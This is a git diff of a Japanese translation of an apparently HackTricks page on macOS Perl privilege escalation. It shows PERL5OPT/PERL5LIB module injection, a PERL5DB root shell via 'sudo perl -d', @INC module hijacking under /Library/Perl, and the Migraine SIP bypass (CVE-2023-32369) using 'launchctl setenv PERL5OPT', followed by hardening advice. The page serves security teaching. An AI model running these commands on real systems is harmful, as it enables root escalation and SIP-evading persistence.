Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-07-30 16:13:27 +00:00
parent c6fb0fc4f9
commit 8cfe61692c

View File

@ -2,10 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
## `PERL5OPT``PERL5LIB` 環境変数を使用して
## Via `PERL5OPT` & `PERL5LIB` env variable
環境変数 PERL5OPT を使用すると、perl が任意のコマンドを実行することが可能です。\
例えば、このスクリプトを作成します
環境変数 **`PERL5OPT`** を使用すると、インタープリタが起動する際に(ターゲットスクリプトの最初の行が解析される**前に****Perl** が任意のコマンドを実行することが可能です。
例えば、このスクリプトを作成します:
```perl:test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
@ -22,17 +22,30 @@ package pmod;
system('whoami');
1; # Modules must return a true value
```
そして、env 変数を使用します:
そして、env変数を使用して、モジュールが自動的に見つかり、ロードされるようにします:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
## 依存関係を介して
### その他の興味深い環境変数
Perlが実行されている依存関係フォルダーの順序をリストすることが可能です:
* **`PERL5DB`** インタプリタが **`-d`** (デバッガ) フラグで起動されると、`PERL5DB` の内容がデバッガのコンテキスト内で Perl コードとして実行されます。特権のある Perl プロセスの環境 **と** コマンドラインフラグの両方に影響を与えることができれば、次のようなことができます:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # スクリプトを実行する前にシェルを起動します
```
* **`PERL5SHELL`** Windows では、この変数は Perl がシェルを生成する必要があるときに使用するシェル実行可能ファイルを制御します。これは macOS では関連性がないため、完全性のためにのみここに言及されています。
`PERL5DB``-d` スイッチを必要としますが、冗長なトラブルシューティングのためにこのフラグが有効な状態で *root* として実行されるメンテナンスやインストーラスクリプトを見つけることは一般的であり、この変数は有効なエスカレーションベクトルとなります。
## 依存関係を介して (@INC の悪用)
Perl が検索するインクルードパス (**`@INC`**) をリストすることが可能です:
```bash
perl -e 'print join("\n", @INC)'
```
次のような結果が返されます:
macOS 13/14の典型的な出力は次のようになります:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -44,17 +57,43 @@ perl -e 'print join("\n", @INC)'
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
返されたフォルダのいくつかは存在しませんが、**`/Library/Perl/5.30`** は **存在** し、**SIP** によって **保護されていません** し、**SIP** によって **保護された** フォルダの **前** にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限のPerlスクリプトがそれを読み込むことができます。
いくつかの返されたフォルダは存在しませんが、**`/Library/Perl/5.30`** は存在し、SIPによって保護されておらず、SIPで保護されたフォルダの*前*にあります。したがって、*root*として書き込むことができれば、悪意のあるモジュール(例:`File/Basename.pm`)をドロップすることができ、そのモジュールをインポートする特権スクリプトによって*優先的に*読み込まれます。
> [!WARNING]
> ただし、そのフォルダに書き込むには **root** である必要があり、現在ではこの **TCCプロンプト** が表示されます:
> `/Library/Perl`内に書き込むには依然として**root**が必要であり、macOSは書き込み操作を行うプロセスに対して*フルディスクアクセス*を要求する**TCC**プロンプトを表示します。
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
例えば、スクリプトが**`use File::Basename;`**をインポートしている場合、攻撃者が制御するコードを含む`/Library/Perl/5.30/File/Basename.pm`を作成することが可能です。
例えば、スクリプトが **`use File::Basename;`** をインポートしている場合、`/Library/Perl/5.30/File/Basename.pm` を作成して任意のコードを実行させることが可能です。
## Migration Assistantを介したSIPバイパス (CVE-2023-32369 “Migraine”)
## References
2023年5月、Microsoftは**CVE-2023-32369**を開示しました。これは**Migraine**と呼ばれるポストエクスプロイト技術で、*root*攻撃者がシステム整合性保護SIPを完全に**バイパス**することを可能にします。脆弱なコンポーネントは**`systemmigrationd`**で、**`com.apple.rootless.install.heritable`**という権限を持つデーモンです。このデーモンによって生成された子プロセスは、権限を継承し、したがってSIPの制限の**外部**で実行されます。
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
研究者によって特定された子プロセスの中には、Appleが署名したインタープリタがあります
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Perlは`PERL5OPT`を尊重しBashは`BASH_ENV`を尊重します)、デーモンの*環境*を汚染するだけで、SIPなしのコンテキストで任意の実行を得るのに十分です
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
`migrateLocalKDC`が実行されると、`/usr/bin/perl`が悪意のある`PERL5OPT`で起動し、SIPが再有効化される前に`/private/tmp/migraine.sh`を実行します。そのスクリプトから、例えば、**`/System/Library/LaunchDaemons`**内にペイロードをコピーしたり、ファイルを**削除不可能**にするために`com.apple.rootless`拡張属性を割り当てたりできます。
AppleはmacOS **Ventura 13.4**、**Monterey 12.6.6**、および**Big Sur 11.7.7**でこの問題を修正しましたが、古いまたはパッチが適用されていないシステムは引き続き悪用可能です。
## ハードニング推奨事項
1. **危険な変数をクリアする** 特権のあるlaunchdaemonsやcronジョブは、クリーンな環境で開始するべきです`launchctl unsetenv PERL5OPT``env -i`など)。
2. **必要不可欠でない限り、rootとしてインタプリタを実行しない**。コンパイルされたバイナリを使用するか、早期に権限を降下させます。
3. **`-T`(汚染モード)でベンダースクリプトを実行する**ことで、Perlが汚染チェックが有効なときに`PERL5OPT`や他の安全でないスイッチを無視します。
4. **macOSを最新の状態に保つ** “Migraine”は現在のリリースで完全にパッチが適用されています。
## 参考文献
- Microsoft Security Blog “新しいmacOSの脆弱性、MigraineはSystem Integrity Protectionをバイパスする可能性があります”CVE-2023-32369、2023年5月30日。
- Hackyboiz “macOS SIPバイパスPERL5OPT & BASH_ENV研究”、2025年5月。
{{#include ../../../banners/hacktricks-training.md}}